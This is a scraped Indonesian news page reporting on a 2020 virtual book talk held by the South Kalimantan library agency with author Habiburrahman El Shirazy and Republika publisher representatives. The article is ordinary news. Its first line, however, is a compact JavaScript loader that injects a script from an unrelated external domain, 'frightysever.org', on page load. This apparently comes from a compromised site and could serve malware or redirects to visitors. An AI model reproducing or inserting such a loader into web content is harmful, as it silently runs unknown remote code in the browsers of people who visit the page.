(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Dispersip Kalsel

Penerbit dan Penulis Tak Boleh Kalah di Tengah Pandemi


KANALKALIMANTAN.COM, BANJARMASIN – Hanya selang sehari setelah menyelenggarakan talk show virtual bersama Faisal Oddang, Dinas Perpustakaan dan Kearsipan (Dispersip) Kalimantan Selatan kembali menyelenggarakan tatap muka dalam jaringan.

Kali ini, dengan menggandeng penerbit dan menghadirkan penulis kenamaan Habiburrahman El Shirazy (Kang Abik) dan GM Penerbit Repubilka H Awod Said melalui zoom meeeting pada Selasa (4/8/2020) siang. Dengan mengusung tema “Kembara Rindu”, talkshow virtual kali ini membedah buku karya Kang Abik yang judulnya sesuai dengan tema yang diangkat.

Kepala Dispersip Kalsel Dra Hj Nurliani Dardie memaparkan, kegiatan ini terselenggara berkat kerja sama dengan Penerbit Republika. Menurutnya, tidak banyak Dispersip provinsi, kabupaten dan kota lain yang seberuntung Kalsel.

“Bahkan mungkin satu-satunya di Indonesia. Kami juga berterimakasih kepada Kang Abik yang telah meluangkan waktu untuk berbagai cerita pada talkshow kali ini,” kata Nurliani.

Dalam pemaparannya, GM Penerbit Republika H Awod Said mengatakan, kendati di tengah pandemi Covid-19, penerbit buku harus tetap menerbitkan karya-karya. Tak hanya penerbit, penulis juga dituntut untuk menciptakan karya tulis untuk dibukukan.

“Kemudian bagi perpustakaan, bagaimana mengadakan dan menyebarkan buku-bukunya. Ini yang selalu saya katakan, karena buku sebagai media mencerdaskan kehidupan bangsa, maka bangsa tidak boleh menghentikan kecerdasannya,” kata Awod.

Awod mengatakan, karya tulis yang diciptakan Kang Abik ini sangat bagus. Bukan hanya latar tempat yang mengangkat kehidupan di Pulau Sumatera saja, Awod menggarisbawahi bahwa yang terpenting dari buku ini adalah terkait konten di dalamnya.

“Di dalamnya ada konten yang perlu dicatat. Salah satunya adalah kejujuran yang dicerminkan oleh karakter di buku itu,” lugasnya.

Pada intinya, Awod mengatakan, buku yang ditulis oleh Kang Abik ini mencoba memberikan motivasi kepada pembaca, yaitu betapa pentingnya sebuah kejujuran dalam satu karakter yang ditulis di dalam buku. “Tidak salah kalau Kepala Dispersip Kalsel yaitu Bunda Nunung menyelenggarakan bedah buku ini. Kami sangat mengapresiasi, semoga kerja sama ini bisa terjalin dalam meningkatkan literasi,” pungkasnya. (kanalkalimantan.com/fikri)

Reporter: fikri
Editor: bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.